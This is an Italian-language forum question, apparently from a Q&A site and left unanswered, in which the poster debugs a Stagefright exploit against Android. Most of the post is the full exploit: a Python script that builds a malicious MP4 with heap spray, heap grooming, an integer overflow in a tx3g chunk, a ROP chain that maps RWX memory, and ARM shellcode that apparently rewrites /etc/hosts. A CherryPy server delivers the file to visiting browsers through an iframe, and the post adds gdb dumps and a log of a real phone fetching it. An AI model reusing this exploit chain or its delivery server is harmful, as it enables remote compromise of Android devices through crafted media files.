ROP gadget - mmap - come verificare se l'indirizzo mmaped è eseguibile dopo l'esecuzione del gadget?

0

Sto lavorando con lo sfruttamento Stagefright ... la mia domanda è in grassetto qui sotto.

Alcune informazioni di base:

Di seguito è riportato il risultato della catena / stack ROP che hanno fatto le cose mmap () inclusa la copia con altro shellcode (con memcpy) nel nuovo indirizzo (0xb1000000). Vedi il codice di exploit di seguito.

Non funziona come dovrebbe, quindi ho provato a impostare il registro PC sul mio shellcode, ma su segfaults.

(gdb) x/1000x 0xb1000000
0xb1000000: 0x55555555  0x66666666  0x77777777  0xb6e95b21
0xb1000010: 0xffffffff  0x23232323  0x00000000  0x00000000
0xb1000020: 0xb6ebf78d  0xb1000000  0xb2fff130  0x00000ed0
0xb1000030: 0x33333333  0xb6ec27ac  0x23232323  0x23232323
0xb1000040: 0x23232323  0x23232323  0x23232323  0x23232323
0xb1000050: 0x23232323  0x23232323  0x23232323  0x23232323
0xb1000060: 0x23232323  0x23232323  0x23232323  0x23232323
0xb1000070: 0x23232323  0x23232323  0xb6e8ccb3  0x23232323
0xb1000080: 0x44444444  0x55555555  0x66666666  0x77777777
0xb1000090: 0xb6e8f560  0x44444444  0x55555555  0x66666666
0xb10000a0: 0x77777777  0xb1000001  0x23232323  0x23232323
0xb10000b0: 0x23232323  0x23232323  0x23232323  0x23232323
0xb10000c0: 0x23232323  0x23232323  0xbf00bf00  0xbf00bf00
0xb10000d0: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
0xb10000e0: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
0xb10000f0: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
0xb1000100: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
0xb1000110: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
0xb1000120: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
0xb1000130: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
0xb1000140: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
0xb1000150: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
0xb1000160: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
---Type <return> to continue, or q <return> to quit---
0xb1000170: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
0xb1000180: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
0xb1000190: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
0xb10001a0: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
0xb10001b0: 0xbf00bf00  0xbf00bf00  0xbf00bf00  0xbf00bf00
0xb10001c0: 0xbf00bf00  0xbf00bf00  0xe28f3001  0xe12fff13
0xb10001d0: 0x1c221b24  0x31ff21ff  0x31ff31ff  0x46783105
0xb10001e0: 0x2705302a  0x2214df01  0x310c4679  0xdf012704
0xb10001f0: 0x1c201b24  0xdf012701  0x2e373231  0x2e312e31
0xb1000200: 0x6f672031  0x656c676f  0x0a6b6c2e  0x6374652f
0xb1000210: 0x6f682f2f  0x00737473  0xcccccccc  0xcccccccc
0xb1000220: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
0xb1000230: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
0xb1000240: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
0xb1000250: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
0xb1000260: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc


(gdb) x/10x 0xb10001c0+8
0xb10001c8: 0xe28f3001  0xe12fff13  0x1c221b24  0x31ff21ff
0xb10001d8: 0x31ff31ff  0x46783105  0x2705302a  0x2214df01
0xb10001e8: 0x310c4679  0xdf012704
(gdb) set $pc=0xb10001c8
(gdb) cont
Continuing.
[New LWP 17649]

Thread 13 "NuCachedSource2" received signal SIGABRT, Aborted.
0xb10001c8 in ?? ()
(gdb) 

Come posso verificare se l'indirizzo 0xb10001c8 è eseguibile (X)? Dal momento che ho il sospetto che non lo è e quindi il segfault

Ho provato a fare:

cat / proc / PID / maps

Ma 0xb10001c8 non appare lì ...

Ecco il codice con cui sto lavorando:

#!/usr/bin/python2

import cherrypy
import os
import pwnlib.asm as asm
import pwnlib.elf as elf
import sys
import struct


#with open('shellcode.bin', 'rb') as tmp:
#  shellcode = tmp.read()

shellcode = bytearray(
"\x01\x30\x8f\xe2" 
        "\x13\xff\x2f\xe1"


                    "\x24\x1b"
                    "\x22\x1c"
                    "\xff\x21"
                    "\xff\x31"
                    "\xff\x31"
                    "\xff\x31"
                    "\x05\x31"
                    "\x78\x46"
                    "\x2a\x30"
                    "\x05\x27"
                    "\x01\xdf"
                    "\x14\x22" 
                    "\x79\x46"
                    "\x0c\x31"
                    "\x04\x27"
                    "\x01\xdf"
                    "\x24\x1b"
                    "\x20\x1c"
                    "\x01\x27"
                    "\x01\xdf"
                    "\x31\x32\x37\x2e" 
                    "\x31\x2e\x31\x2e"
                    "\x31\x20\x67\x6f" 
                    "\x6f\x67\x6c\x65"
                    "\x2e\x6c\x6b\x0a"
                    "\x2f\x65\x74\x63"
                    "\x2f\x2f\x68\x6f"
                    "\x73\x74\x73"

)

while len(shellcode) % 4 != 0:
  shellcode += '\x00'

# heap grooming configuration
alloc_size = 0x20
groom_count = 0x4
spray_size = 0x100000
spray_count = 0x10

# address of the buffer we allocate for our shellcode
#mmap_address = 0x90000000
mmap_address =  0xb1000000

# addresses that we need to predict
#libc_base = 0xb6ebd000
##libc_base = 0xb6f2c000
#libc_base = 0xb6eb0000
libc_base = 0xb6e7f000
spray_address =  0xb3000000
#spray_address = 0xb30001d0

# ROP gadget addresses
stack_pivot = None
pop_pc = None
pop_r0_r1_r2_r3_pc = None
pop_r4_r5_r6_r7_pc = None
ldr_lr_bx_lr = None
ldr_lr_bx_lr_stack_pad = 0
mmap64 = None
memcpy = None

def find_arm_gadget(e, gadget):
  gadget_bytes = asm.asm(gadget, arch='arm')
  gadget_address = None
  for address in e.search(gadget_bytes):
    if address % 4 == 0:
      gadget_address = address
      if gadget_bytes == e.read(gadget_address, len(gadget_bytes)):
        print asm.disasm(gadget_bytes, vma=gadget_address, arch='arm')
        break
  return gadget_address

def find_thumb_gadget(e, gadget):
  gadget_bytes = asm.asm(gadget, arch='thumb')
  gadget_address = None
  for address in e.search(gadget_bytes):
    if address % 2 == 0:
      gadget_address = address + 1
      if gadget_bytes == e.read(gadget_address - 1, len(gadget_bytes)):
        print asm.disasm(gadget_bytes, vma=gadget_address-1, arch='thumb')
        break
  return gadget_address

def find_gadget(e, gadget):
  gadget_address = find_thumb_gadget(e, gadget)
  if gadget_address is not None:
    return gadget_address
  return find_arm_gadget(e, gadget)

def find_rop_gadgets(path):
  global memcpy
  global mmap64
  global stack_pivot
  global pop_pc
  global pop_r0_r1_r2_r3_pc
  global pop_r4_r5_r6_r7_pc
  global ldr_lr_bx_lr
  global ldr_lr_bx_lr_stack_pad

  e = elf.ELF(path)
  e.address = libc_base

  memcpy = e.symbols['memcpy']
  print '[*] memcpy : 0x{:08x}'.format(memcpy)
  mmap64 = e.symbols['mmap64']
  print '[*] mmap64 : 0x{:08x}'.format(mmap64)

  # .text:00013344    ADD             R2, R0, #0x4C
  # .text:00013348    LDMIA           R2, {R4-LR}
  # .text:0001334C    TEQ             SP, #0
  # .text:00013350    TEQNE           LR, #0
  # .text:00013354    BEQ             botch_0
  # .text:00013358    MOV             R0, R1
  # .text:0001335C    TEQ             R0, #0
  # .text:00013360    MOVEQ           R0, #1
  # .text:00013364    BX              LR

  pivot_asm = ''
  pivot_asm += 'add   r2, r0, #0x4c\n'
  pivot_asm += 'ldmia r2, {r4 - lr}\n'
  pivot_asm += 'teq   sp, #0\n'
  pivot_asm += 'teqne lr, #0'
  stack_pivot = find_arm_gadget(e, pivot_asm)
  print '[*] stack_pivot : 0x{:08x}'.format(stack_pivot)

  pop_pc_asm = 'pop {pc}'
  pop_pc = find_gadget(e, pop_pc_asm)
  print '[*] pop_pc : 0x{:08x}'.format(pop_pc)

  pop_r0_r1_r2_r3_pc = find_gadget(e, 'pop {r0, r1, r2, r3, pc}')
  print '[*] pop_r0_r1_r2_r3_pc : 0x{:08x}'.format(pop_r0_r1_r2_r3_pc)

  pop_r4_r5_r6_r7_pc = find_gadget(e, 'pop {r4, r5, r6, r7, pc}')
  print '[*] pop_r4_r5_r6_r7_pc : 0x{:08x}'.format(pop_r4_r5_r6_r7_pc)

  ldr_lr_bx_lr_stack_pad = 0
  for i in range(0, 0x100, 4):
    ldr_lr_bx_lr_asm =  'ldr lr, [sp, #0x{:08x}]\n'.format(i)
    ldr_lr_bx_lr_asm += 'add sp, sp, #0x{:08x}\n'.format(i + 8)
    ldr_lr_bx_lr_asm += 'bx  lr'
    ldr_lr_bx_lr = find_gadget(e, ldr_lr_bx_lr_asm)
    if ldr_lr_bx_lr is not None:
      ldr_lr_bx_lr_stack_pad = i
      break

def pad(size):
  return '#' * size

def pb32(val):
  return struct.pack(">I", val)

def pb64(val):
  return struct.pack(">Q", val)

def p32(val):
  return struct.pack("<I", val)

def p64(val):
  return struct.pack("<Q", val)

def chunk(tag, data, length=0):
  if length == 0:
    length = len(data) + 8
  if length > 0xffffffff:
    return pb32(1) + tag + pb64(length)+ data
  return pb32(length) + tag + data

def alloc_avcc(size):
  avcc = 'A' * size
  return chunk('avcC', avcc)

def alloc_hvcc(size):
  hvcc = 'H' * size
  return chunk('hvcC', hvcc)

def sample_table(data):
  stbl = ''
  stbl += chunk('stco', '\x00' * 8)
  stbl += chunk('stsc', '\x00' * 8)
  stbl += chunk('stsz', '\x00' * 12)
  stbl += chunk('stts', '\x00' * 8)
  stbl += data
  return chunk('stbl', stbl)

def memory_leak(size):
  pssh = 'leak'
  pssh += 'L' * 16
  pssh += pb32(size)
  pssh += 'L' * size
  return chunk('pssh', pssh)

def heap_spray(size):
  pssh = 'spry'
  pssh += 'S' * 16
  pssh += pb32(size)

  page = ''

  nop = asm.asm('nop', arch='thumb')
  while len(page) < 0x100:
    page += nop
  page += shellcode
  while len(page) < 0xed0:
    page += '\xcc'

  # MPEG4DataSource fake vtable
  page += p32(stack_pivot)

  # pivot swaps stack then returns to pop {pc}
  page += p32(pop_r0_r1_r2_r3_pc)

  # mmap64(mmap_address, 
  #        0x1000,
  #        PROT_READ | PROT_WRITE | PROT_EXECUTE,
  #        MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS,
  #        -1,
  #        0);

  page += p32(mmap_address)             # r0 = address
  page += p32(0x1000)                   # r1 = size
  page += p32(7)                        # r2 = protection
  page += p32(0x32)                     # r3 = flags
  page += p32(ldr_lr_bx_lr)             # pc

  page += pad(ldr_lr_bx_lr_stack_pad)
  page += p32(pop_r4_r5_r6_r7_pc)       # lr
  page += pad(4)

  page += p32(0x44444444)               # r4
  page += p32(0x55555555)               # r5
  page += p32(0x66666666)               # r6
  page += p32(0x77777777)               # r7
  page += p32(mmap64)                   # pc

  page += p32(0xffffffff)               # fd      (and then r4)
  page += pad(4)                        # padding (and then r5)
  page += p64(0)                        # offset  (and then r6, r7)
  page += p32(pop_r0_r1_r2_r3_pc)       # pc

  # memcpy(shellcode_address, 
  #        spray_address + len(rop_stack),
  #        len(shellcode));

  page += p32(mmap_address)             # r0 = dst
  page += p32(spray_address - 0xed0)    # r1 = src
  page += p32(0xed0)                    # r2 = size
  page += p32(0x33333333)               # r3
  page += p32(ldr_lr_bx_lr)             # pc

  page += pad(ldr_lr_bx_lr_stack_pad)
  page += p32(pop_r4_r5_r6_r7_pc)       # lr
  page += pad(4)

  page += p32(0x44444444)               # r4
  page += p32(0x55555555)               # r5
  page += p32(0x66666666)               # r6
  page += p32(0x77777777)               # r7
  page += p32(memcpy)                   # pc

  page += p32(0x44444444)               # r4
  page += p32(0x55555555)               # r5
  page += p32(0x66666666)               # r6
  page += p32(0x77777777)               # r7
  page += p32(mmap_address + 1)         # pc

  while len(page) < 0x1000:
    page += '#'

  pssh += page * (size // 0x1000)

  return chunk('pssh', pssh)

def exploit_mp4():
  ftyp = chunk("ftyp","69736f6d0000000169736f6d".decode("hex"))

  trak = ''

  # heap spray so we have somewhere to land our corrupted vtable 
  # pointer

  # yes, we wrap this in a sample_table for a reason; the 
  # NuCachedSource we will be using otherwise triggers calls to mmap,
  # leaving our large allocations non-contiguous and making our chance
  # of failure pretty high. wrapping in a sample_table means that we
  # wrap the NuCachedSource with an MPEG4Source, making a single 
  # allocation that caches all the data, doubling our heap spray 
  # effectiveness :-)
  trak += sample_table(heap_spray(spray_size) * spray_count)

  # heap groom for our MPEG4DataSource corruption

  # get the default size allocations for our MetaData::typed_data 
  # groom allocations out of the way first, by allocating small blocks
  # instead.
  trak += alloc_avcc(8)
  trak += alloc_hvcc(8)

  # we allocate the initial tx3g chunk here; we'll use the integer 
  # overflow so that the allocated buffer later is smaller than the 
  # original size of this chunk, then overflow all of the following 
  # MPEG4DataSource object and the following pssh allocation; hence why
  # we will need the extra groom allocation (so we don't overwrite 
  # anything sensitive...)

  # | tx3g | MPEG4DataSource | pssh |
  overflow = 'A' * 24

  # | tx3g ----------------> | pssh |
  overflow += p32(spray_address)         # MPEG4DataSource vtable ptr
  #overflow += '0' * 0x48
  overflow += 'B' * 0x48
  overflow += 'C'                    # r4
  overflow += 'D'                    # r5
  overflow += 'E'                    # r6
  overflow += 'F'                    # r7
  overflow += 'G'                    # r8
  overflow += 'H'                    # r9
  overflow += 'I'                    # r10
  overflow += 'J'                    # r11
  overflow += 'K'                    # r12
  overflow += p32(spray_address + 0x20) # sp
  overflow += p32(pop_pc)               # lr

  trak += chunk("tx3g", overflow)

  # defragment the for alloc_size blocks, then make our two
  # allocations. we end up with a spurious block in the middle, from
  # the temporary ABuffer deallocation.

  # | pssh | - | pssh |
  trak += memory_leak(alloc_size) * groom_count

  # | pssh | - | pssh | .... | avcC |
  trak += alloc_avcc(alloc_size)

  # | pssh | - | pssh | .... | avcC | hvcC |
  trak += alloc_hvcc(alloc_size)

  # | pssh | - | pssh | pssh | avcC | hvcC | pssh |
  trak += memory_leak(alloc_size) * 8

  # | pssh | - | pssh | pssh | avcC | .... |
  trak += alloc_hvcc(alloc_size * 2)

  # entering the stbl chunk triggers allocation of an MPEG4DataSource
  # object

  # | pssh | - | pssh | pssh | avcC | MPEG4DataSource | pssh |
  stbl = ''

  # | pssh | - | pssh | pssh | .... | MPEG4DataSource | pssh |
  stbl += alloc_avcc(alloc_size * 2)

  # | pssh | - | pssh | pssh | tx3g | MPEG4DataSource | pssh |
  # | pssh | - | pssh | pssh | tx3g ----------------> |
  overflow_length = (-(len(overflow) - 24) & 0xffffffffffffffff)
  stbl += chunk("tx3g", '', length = overflow_length)

  trak += chunk('stbl', stbl)

  return ftyp + chunk('trak', trak)

index_page = '''
<!DOCTYPE html>
<html>
  <head>
    <title>Stagefrightened!</title>
  </head>
  <body>
    <script>
    window.setTimeout('location.reload(true);', 400000000);
    </script>
    <iframe src='/exploit.mp4'></iframe>
  </body>
</html>
'''

class ExploitServer(object):

  exploit_file = None
  exploit_count = 0

  @cherrypy.expose
  def index(self):
    self.exploit_count += 1
    print '*' * 80
    print 'exploit attempt: ' + str(self.exploit_count)
    print '*' * 80
    return index_page

  @cherrypy.expose(["exploit.mp4"])
  def exploit(self):
    cherrypy.response.headers['Content-Type'] = 'video/mp4'
    cherrypy.response.headers['Content-Encoding'] = 'gzip'

    if self.exploit_file is None:
      exploit_uncompressed = exploit_mp4()
      with open('exploit_uncompressed.mp4', 'wb') as tmp:
        tmp.write(exploit_uncompressed)
      os.system('gzip exploit_uncompressed.mp4')
      with open('exploit_uncompressed.mp4.gz', 'rb') as tmp:
        self.exploit_file = tmp.read()
      os.system('rm exploit_uncompressed.mp4.gz')

    return self.exploit_file

def main():
  find_rop_gadgets('libc.so')
  with open('exploit.mp4', 'wb') as tmp:
    tmp.write(exploit_mp4())
  cherrypy.server.socket_host = '0.0.0.0'
  cherrypy.quickstart(ExploitServer())

if __name__ == '__main__':
  main()

Registro di esecuzione:

python stage.py 
[*] memcpy : 0xb6e8f560
[*] mmap64 : 0xb6e95b21
b6e8e9b4:       e280204c        add     r2, r0, #76     ; 0x4c
b6e8e9b8:       e8927ff0        ldm     r2, {r4, r5, r6, r7, r8, r9, sl, fp, ip, sp, lr}
b6e8e9bc:       e33d0000        teq     sp, #0
b6e8e9c0:       133e0000        teqne   lr, #0
[*] stack_pivot : 0xb6e8e9b4
b6ec1dc4:       e49df004        pop     {pc}            ; (ldr pc, [sp], #4)
[*] pop_pc : 0xb6ec1dc4
b6ebf78c:       bd0f            pop     {r0, r1, r2, r3, pc}
[*] pop_r0_r1_r2_r3_pc : 0xb6ebf78d
b6e8ccb2:       bdf0            pop     {r4, r5, r6, r7, pc}
[*] pop_r4_r5_r6_r7_pc : 0xb6e8ccb3
b6ec27ac:       e59de040        ldr     lr, [sp, #64]   ; 0x40
b6ec27b0:       e28dd048        add     sp, sp, #72     ; 0x48
b6ec27b4:       e12fff1e        bx      lr
[25/Mar/2017:23:05:32] ENGINE Listening for SIGHUP.
[25/Mar/2017:23:05:32] ENGINE Listening for SIGTERM.
[25/Mar/2017:23:05:32] ENGINE Listening for SIGUSR1.
[25/Mar/2017:23:05:32] ENGINE Bus STARTING
CherryPy Checker:
The Application mounted at '' has an empty config.

[25/Mar/2017:23:05:32] ENGINE Started monitor thread '_TimeoutMonitor'.
[25/Mar/2017:23:05:32] ENGINE Started monitor thread 'Autoreloader'.
[25/Mar/2017:23:05:32] ENGINE Serving on http://0.0.0.0:8080
[25/Mar/2017:23:05:32] ENGINE Bus STARTED
********************************************************************************
exploit attempt: 1
********************************************************************************
192.168.1.3 - - [25/Mar/2017:23:05:56] "GET / HTTP/1.1" 200 234 "" "Mozilla/5.0 (Linux; Android 5.1.1; GT-I9301I Build/LMY49J) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36"
192.168.1.3 - - [25/Mar/2017:23:05:56] "GET /exploit.mp4 HTTP/1.1" 200 37228 "http://192.168.1.2:8080/" "Mozilla/5.0 (Linux; Android 5.1.1; GT-I9301I Build/LMY49J) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36"
192.168.1.3 - - [25/Mar/2017:23:05:57] "GET /exploit.mp4 HTTP/1.1" 200 37228 "http://192.168.1.2:8080/exploit.mp4" "Mozilla/5.0 (Linux; Android 5.1.1; GT-I9301I Build/LMY49J) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36"
192.168.1.3 - - [25/Mar/2017:23:06:01] "GET /exploit.mp4 HTTP/1.1" 200 37228 "" "stagefright/1.2 (Linux;Android 5.1.1)"
^C[25/Mar/2017:23:09:38] ENGINE Keyboard Interrupt: shutting down bus
    
posta android_dev 25.03.2017 - 23:21
fonte

0 risposte

Leggi altre domande sui tag